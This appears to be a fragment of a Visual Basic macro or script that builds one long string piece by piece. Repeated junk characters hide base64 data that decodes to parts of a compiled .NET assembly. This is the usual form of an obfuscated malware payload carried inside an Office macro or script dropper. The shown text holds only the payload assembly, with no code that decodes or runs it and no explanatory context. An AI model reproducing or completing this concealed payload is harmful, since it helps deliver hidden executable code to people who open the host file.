IWHGBkP = IWHGBkP & "&&^%^#%o@@&&^%^#%g@@&&^%^#%@@&&^%^#%KwoC"
IWHGBkP = IWHGBkP & "ex8@@&&^%^#%@@&&^%^#%@@&&^%^#%oGbyE@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%oGKgBqKwImFisCJhYC"
IWHGBkP = IWHGBkP & "KB4@@&&^%^#%@@&&^%^#%@@&&^%^#%oCcyI@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%p9Hw@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%Cio@@&&^%^#%GisCJhYXKg@@&&^%^#%aKwIm"
IWHGBkP = IWHGBkP & "FhYq@@&&^%^#%EJTSkIB@@&&^%^#%@@&&^%^#%E@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%w@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%B2NC4wLjMwMzE5@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%U@"
IWHGBkP = IWHGBkP & "@&&^%^#%b@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%CgS@@&&^%^#%@@&&^%^#%@@&&^%^#%jfg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%lBI@@&&^%^#%@@&&^%^#%CQX"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%jU3RyaW5ncw@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%C4KQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%0@@&&^%^#%U@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%CNVUwCILw@@&&^%^#%@@&&^%^#%E@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%CNHVUlE@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%mC8@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%FQG@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%jQmxvYg@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%C@@&&^%^#%@@&&^%^#%@@&&^%^#%B"
IWHGBkP = IWHGBkP & "V5WiHQkP@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%E@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%BR@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Dg@@&&^%^#%@@&&^%^#%@@&&^%^#%B4@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%CB@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%MQ@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%HI@@&&^%^#%@@&&^%^#%@@&&^%^#%BK@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%g@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Y@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%F@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%CQ@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%o@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%o@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%B@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%B@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%E@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%E@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%w@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%U@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%oC@@&&^%^#%Q@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Bg@@&&^%^#%H@@&&^%^#%Cc@@&&^%^#%BgBW@@&&"
IWHGBkP = IWHGBkP & "^%^#%Fs@@&&^%^#%BgBi@@&&^%^#%Fs@@&&^%^#%"
IWHGBkP = IWHGBkP & "BgBo@@&&^%^#%Fs@@&&^%^#%BgBw@@&&^%^#%Cc@"
IWHGBkP = IWHGBkP & "@&&^%^#%BgCO@@&&^%^#%KI@@&&^%^#%GwC1@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%BgDE@@&&"
IWHGBkP = IWHGBkP & "^%^#%Ns@@&&^%^#%BgDt@@&&^%^#%Fs@@&&^%^#%"
IWHGBkP = IWHGBkP & "BgD0@@&&^%^#%Ns@@&&^%^#%Bg@@&&^%^#%R@@&&"
IWHGBkP = IWHGBkP & "^%^#%ds@@&&^%^#%Bg@@&&^%^#%q@@&&^%^#%ds@"
IWHGBkP = IWHGBkP & "@&&^%^#%BgBD@@&&^%^#%ds@@&&^%^#%BgBe@@&&"
IWHGBkP = IWHGBkP & "^%^#%ds@@&&^%^#%BgB5@@&&^%^#%Y0BBgCs@@&&"
IWHGBkP = IWHGBkP & "^%^#%Y0BBgC6@@&&^%^#%ds@@&&^%^#%BgDX@@&&"
IWHGBkP = IWHGBkP & "^%^#%f@@&&^%^#%BBg@@&&^%^#%w@@&&^%^#%ls@"
IWHGBkP = IWHGBkP & "@&&^%^#%CgBO@@&&^%^#%l4CCgCp@@&&^%^#%rIC"
IWHGBkP = IWHGBkP & "Dg@@&&^%^#%r@@&&^%^#%0MDBgCK@@&&^%^#%1s@"
IWHGBkP = IWHGBkP & "@&&^%^#%Cg@@&&^%^#%QBF4CBgDbBFs@@&&^%^#%"
IWHGBkP = IWHGBkP & "Bg@@&&^%^#%HBVs@@&&^%^#%BgBIBSc@@&&^%^#%"
IWHGBkP = IWHGBkP & "BgDKBVs@@&&^%^#%Cg@@&&^%^#%gBi8GBgDRBuEG"
IWHGBkP = IWHGBkP & "BgD/Bts@@&&^%^#%Bg@@&&^%^#%UBy@@&&^%^#%H"
IWHGBkP = IWHGBkP & "DgDaB0MDBgB8CIgIBgCYCFs@@&&^%^#%DgCdCKI@"
IWHGBkP = IWHGBkP & "@&&^%^#%BgCuCFs@@&&^%^#%DgC4CMIIEgDNCNgI"
IWHGBkP = IWHGBkP & "BgD0C@@&&^%^#%IJDg@@&&^%^#%dCaI@@&&^%^#%"
IWHGBkP = IWHGBkP & "Bg@@&&^%^#%lCYgIBgBDCVEJBgBbCVEJDgCKCcII"
IWHGBkP = IWHGBkP & "DgCfCcIIBgDbCeQJCg@@&&^%^#%sCogCCgCiCqwK"
IWHGBkP = IWHGBkP & "zwD0Cg@@&&^%^#%@@&&^%^#%Bg@@&&^%^#%CC1s@"
IWHGBkP = IWHGBkP & "@&&^%^#%BgBkC1EJDgCKC6I@@&&^%^#%BgDCDFs@"
IWHGBkP = IWHGBkP & "@&&^%^#%BgDbDFs@@&&^%^#%Cg@@&&^%^#%sDYgC"
IWHGBkP = IWHGBkP & "CgBrDawKCgC/DawKCgDpDawKBg@@&&^%^#%IDlEJ"
IWHGBkP = IWHGBkP & "BgByDlEJBgBXD40BBgDED1s@@&&^%^#%BgD9D1s@"
IWHGBkP = IWHGBkP & "@&&^%^#%BgBeEls@@&&^%^#%BgDdElEJBgC9E1s@"
IWHGBkP = IWHGBkP & "@&&^%^#%Bg@@&&^%^#%DFFs@@&&^%^#%Bg@@&&^%"
IWHGBkP = IWHGBkP & "^#%lFFs@@&&^%^#%Bg@@&&^%^#%2FFs@@&&^%^#%"
IWHGBkP = IWHGBkP & "DgCtFcQVDgDcFfUVDg@@&&^%^#%LFvUVBg@@&&^%"
IWHGBkP = IWHGBkP & "^#%gFqI@@&&^%^#%Cg@@&&^%^#%4FqwKCgBQFogC"
IWHGBkP = IWHGBkP & "DgBoFn0WBgCaFqI@@&&^%^#%BgC3Fic@@&&^%^#%"
IWHGBkP = IWHGBkP & "BgDSFvkWCg@@&&^%^#%JF4gC@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%BQC@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%E@@&&^%^#%@@&&^%^#%QC@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%R@@&&^%^#%@@&&^%^#%HQI@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%E0@@&&^%^#%@@&&^%^#%Q@@&&^%^#%B@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%3@@&&^%^#%kUCUQ@@&&^%"
IWHGBkP = IWHGBkP & "^#%B@@&&^%^#%@@&&^%^#%E@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%J4C"
IWHGBkP = IWHGBkP & "RQJV@@&&^%^#%@@&&^%^#%E@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%w@@&&^%^#%@@&&^%^#%@@&&^%^#%R@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%0@@&&^%^#%JF@@&&^%^#%k0@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%Q@@&&^%^#%F@@&&^%^#%@@&&^%^#%UB"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%Da@@&&^%^#%g@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%TQ@@&&^%^#%F@@&&^%^#%@@&&^%^#%w@"
IWHGBkP = IWHGBkP & "@&&^%^#%BQE@@&&^%^#%@@&&^%^#%OgC@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%BN@@&&^%^#%@@&&^%^#%U@@&&^%^#%"
IWHGBkP = IWHGBkP & "Gw@@&&^%^#%@@&&^%^#%@@&&^%^#%Q@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%wMN@@&&^%^#%00@@&&^%^#%"
IWHGBkP = IWHGBkP & "Bg@@&&^%^#%f@@&&^%^#%@@&&^%^#%@@&&^%^#%B"
IWHGBkP = IWHGBkP & "E@@&&^%^#%@@&&^%^#%g@@&&^%^#%0UCWQ@@&&^%"
IWHGBkP = IWHGBkP & "^#%I@@&&^%^#%CY@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%E@@&&^%^#%@@&&^%^#%FgDRQJN@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%k@@&&^%^#%LQ@@&&^%^#%B@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%awMB@@&&^%^#%E0@"
IWHGBkP = IWHGBkP & "@&&^%^#%CQ@@&&^%^#%v@@&&^%^#%@@&&^%^#%E@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Bw@@&&^%^#%wE@"
IWHGBkP = IWHGBkP & "@&&^%^#%TQ@@&&^%^#%J@@&&^%^#%G@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%CwE@@&&^%^#%@@&&^%^#%HYD@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%Bd@@&&^%^#%@@&&^%^#%k@@&&^%^#%"
IWHGBkP = IWHGBkP & "gg@@&&^%^#%L@@&&^%^#%Q@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "l@@&&^%^#%M@@&&^%^#%@@&&^%^#%F0@@&&^%^#%"
IWHGBkP = IWHGBkP & "DQCC@@&&^%^#%DE@@&&^%^#%zgPp@@&&^%^#%DE@"
IWHGBkP = IWHGBkP & "@&&^%^#%5wPx@@&&^%^#%DE@@&&^%^#%+wP5@@&&"
IWHGBkP = IWHGBkP & "^%^#%DE@@&&^%^#%FQQB@@&&^%^#%SE@@&&^%^#%"
IWHGBkP = IWHGBkP & "Fgaq@@&&^%^#%RE@@&&^%^#%oQbY@@&&^%^#%RE@"
IWHGBkP = IWHGBkP & "@&&^%^#%rQbY@@&&^%^#%RE@@&&^%^#%qwf9@@&&"
IWHGBkP = IWHGBkP & "^%^#%QY@@&&^%^#%vRQ3B@@&&^%^#%Y@@&&^%^#%"
IWHGBkP = IWHGBkP & "yxQ3B@@&&^%^#%Y@@&&^%^#%2BSRB@@&&^%^#%Y@"
IWHGBkP = IWHGBkP & "@&&^%^#%4hSRB@@&&^%^#%Y@@&&^%^#%6xSRB@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y@@&&^%^#%8RQIB@@&&^%^#%Y@@&&^%^#%"
IWHGBkP = IWHGBkP & "+xQIB@@&&^%^#%Y@@&&^%^#%@@&&^%^#%xUIB@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y@@&&^%^#%CRWUB@@&&^%^#%Y@@&&^%^#%"
IWHGBkP = IWHGBkP & "DRWUB@@&&^%^#%Y@@&&^%^#%ERWUB@@&&^%^#%Y@"
IWHGBkP = IWHGBkP & "@&&^%^#%GRWUB@@&&^%^#%Y@@&&^%^#%IRWUB@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y@@&&^%^#%LxWUB@@&&^%^#%Y@@&&^%^#%"
IWHGBkP = IWHGBkP & "PRWUB@@&&^%^#%Y@@&&^%^#%TRWUB@@&&^%^#%Y@"
IWHGBkP = IWHGBkP & "@&&^%^#%VRWXB@@&&^%^#%Y@@&&^%^#%YRWXB@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y@@&&^%^#%bRU3B@@&&^%^#%Y@@&&^%^#%"
IWHGBkP = IWHGBkP & "dxU3B@@&&^%^#%Y@@&&^%^#%gBU3B@@&&^%^#%Y@"
IWHGBkP = IWHGBkP & "@&&^%^#%ihU3BF@@&&^%^#%g@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%@@&&^%^#%YYU@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%3@@&&^%^#%@@&&^%^#%E@@&&^%^#%"
IWHGBkP = IWHGBkP & "YC@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%g@"
IWHGBkP = IWHGBkP & "@&&^%^#%kwCo@@&&^%^#%+Q@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%QBwI@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GGF@@&&^%^#%@@&&^%^#%Nw@@&&^%"
IWHGBkP = IWHGBkP & "^#%B@@&&^%^#%I@@&&^%^#%g@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%uwPk@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%E@@&&^%^#%kC@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%ERgzB@@&"
IWHGBkP = IWHGBkP & "&^%^#%kB@@&&^%^#%QBIIQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%@@&&^%^#%TCDoELQEB@@&&^%^#%Fgh"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%BMI"
IWHGBkP = IWHGBkP & "VwQ3@@&&^%^#%QE@@&&^%^#%aCE@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%EwhnBDwB@@&&^%^#"
IWHGBkP = IWHGBkP & "%QB4IQ@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%TCH@@&&^%^#%EQQEB@@&&^%^#%Igh@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "g@@&&^%^#%RG@@&&^%^#%QE@@&&^%^#%kCE@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%kwCTBEYB"
IWHGBkP = IWHGBkP & "@@&&^%^#%QCQNQ@@&&^%^#%@@&&^%^#%C@@&&^%^"
IWHGBkP = IWHGBkP & "#%DG@@&&^%^#%r4EXgEB@@&&^%^#%KQ1@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%MYCxwRj@@&&"
IWHGBkP = IWHGBkP & "^%^#%QI@@&&^%^#%sDU@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%g@@&&^%^#%gwDTBGcB@@&&^%^#%gD@@&&^"
IWHGBkP = IWHGBkP & "%^#%NQ@@&&^%^#%@@&&^%^#%C@@&&^%^#%DG@@&&"
IWHGBkP = IWHGBkP & "^%^#%u@@&&^%^#%Eb@@&&^%^#%EC@@&&^%^#%Mw1"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%BE@"
IWHGBkP = IWHGBkP & "@&&^%^#%6QRw@@&&^%^#%QI@@&&^%^#%+DU@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%Q@@&&^%^#%gBYsB@@&&^%^#%w@@&&^%^#%INg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%C@@&&^%^#%@@&&^%^#%GGF@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%Nw@@&&^%^#%E@@&&^%^#%Bg2"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@"
IWHGBkP = IWHGBkP & "@&&^%^#%N@@&&^%^#%WT@@&&^%^#%QQ@@&&^%^#%"
IWHGBkP = IWHGBkP & "KDY@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kwBmBZgBB@@&&^%^#%@@&&^%^#%8Ng@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%CT@@&&^%^#%HoFRgEE@@&&"
IWHGBkP = IWHGBkP & "^%^#%EQ2@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&"
IWHGBkP = IWHGBkP & "^%^#%JM@@&&^%^#%jgVG@@&&^%^#%QQ@@&&^%^#%"
IWHGBkP = IWHGBkP & "TDY@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kwCiBZ4BB@@&&^%^#%BcNg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%CT@@&&^%^#%LYFowEE@@&&^%^#%Gw2"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@"
IWHGBkP = IWHGBkP & "@&&^%^#%7gWT@@&&^%^#%QQ@@&&^%^#%fDY@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%kw@@&&^%"
IWHGBkP = IWHGBkP & "^#%CBuQ@@&&^%^#%B@@&&^%^#%CMNg@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%@@&&^%^#%DCEcEMgEE@@&&"
IWHGBkP = IWHGBkP & "^%^#%Mg2@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%YYU@@&&^%^#%@@&&^%^#%3@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%Q@@&&^%^#%5DY@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kwBtBkYBB@@&&^%^"
IWHGBkP = IWHGBkP & "#%DsNg@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
IWHGBkP = IWHGBkP & "^%^#%IEGRgEE@@&&^%^#%Jgh@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%BMIvQbb@@&&^%^#%QQ@"
IWHGBkP = IWHGBkP & "@&&^%^#%1CE@@&&^%^#%@@&&^%^#%@@&&^%^#%g@"
IWHGBkP = IWHGBkP & "@&&^%^#%EwgIB+wBB@@&&^%^#%DgIQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%@@&&^%^#%TCDUH5@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%E@@&&^%^#%Owh@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%RweY@@&&"
IWHGBkP = IWHGBkP & "^%^#%QU@@&&^%^#%@@&&^%^#%CI@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kwBqB6MBBQ@@&&^%"
IWHGBkP = IWHGBkP & "^#%QIg@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
IWHGBkP = IWHGBkP & "^%^#%H0HRgEF@@&&^%^#%Bgi@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%k@@&&^%^"
IWHGBkP = IWHGBkP & "#%dG@@&&^%^#%QU@@&&^%^#%ICI@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%ERgzB@@&&^%^#%kB"
IWHGBkP = IWHGBkP & "BQB@@&&^%^#%Ig@@&&^%^#%@@&&^%^#%C@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GGF@@&&^%^#%@@&&^%^#%Nw@@&&^%"
IWHGBkP = IWHGBkP & "^#%F@@&&^%^#%F@@&&^%^#%i@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%BYIuwcB@@&&^%^#%gU@"
IWHGBkP = IWHGBkP & "@&&^%^#%XCI@@&&^%^#%@@&&^%^#%@@&&^%^#%g@"
IWHGBkP = IWHGBkP & "@&&^%^#%kwDHB5MBBQBsIg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%CT@@&&^%^#%PQHRgEF@@&&^%^#%HQi"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@"
IWHGBkP = IWHGBkP & "@&&^%^#%BwhG@@&&^%^#%QU@@&&^%^#%fCI@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%kw@@&&^%"
IWHGBkP = IWHGBkP & "^#%aCOQ@@&&^%^#%BQCMIg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%@@&&^%^#%TCDUI@@&&^%^#%QIF@@&&"
IWHGBkP = IWHGBkP & "^%^#%Jgi@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&"
IWHGBkP = IWHGBkP & "^%^#%JM@@&&^%^#%QggU@@&&^%^#%gU@@&&^%^#%"
IWHGBkP = IWHGBkP & "pCI@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "BhhQ@@&&^%^#%Dc@@&&^%^#%BQC0Ig@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%@@&&^%^#%W@@&&^%^#%F4I"
IWHGBkP = IWHGBkP & "G@@&&^%^#%IF@@&&^%^#%P@@&&^%^#%n@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "Z@@&&^%^#%nk@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%Cg@@&&^%^#%@@&&^%^#%@@&&^%^#%g@"
IWHGBkP = IWHGBkP & "@&&^%^#%kwB3CW4CC@@&&^%^#%@@&&^%^#%QK@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
IWHGBkP = IWHGBkP & "^%^#%MgJF@@&&^%^#%II@@&&^%^#%Bwo@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "+Ql7@@&&^%^#%gg@@&&^%^#%MCg@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kw@@&&^%^#%ZCpMB"
IWHGBkP = IWHGBkP & "C@@&&^%^#%B@@&&^%^#%K@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%CT@@&&^%^#%D8KjQII@@&&"
IWHGBkP = IWHGBkP & "^%^#%Fgo@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&"
IWHGBkP = IWHGBkP & "^%^#%JM@@&&^%^#%WgqT@@&&^%^#%Qg@@&&^%^#%"
IWHGBkP = IWHGBkP & "aCg@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kwBtCpoCC@@&&^%^#%B8K@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%CT@@&&^%^#%I8KpQII@@&&"
IWHGBkP = IWHGBkP & "^%^#%JQo@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&"
IWHGBkP = IWHGBkP & "^%^#%JM@@&&^%^#%4Qqz@@&&^%^#%gg@@&&^%^#%"
IWHGBkP = IWHGBkP & "pCg@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kw@@&&^%^#%cC8ECC@@&&^%^#%CwK@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&^%^#%DcL"
IWHGBkP = IWHGBkP & "xwII@@&&^%^#%Mwo@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%I@@&&^%^#%JM@@&&^%^#%UQua@@&&^%^#%gg@"
IWHGBkP = IWHGBkP & "@&&^%^#%4Cg@@&&^%^#%@@&&^%^#%@@&&^%^#%g@"
IWHGBkP = IWHGBkP & "@&&^%^#%kwB3C94CC@@&&^%^#%D0K@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&^%^#%K0L"
IWHGBkP = IWHGBkP & "ewII@@&&^%^#%@@&&^%^#%gp@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%zQua@@&&"
IWHGBkP = IWHGBkP & "^%^#%gg@@&&^%^#%HCk@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%g@@&&^%^#%kwDgC3sCC@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%wKQ@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
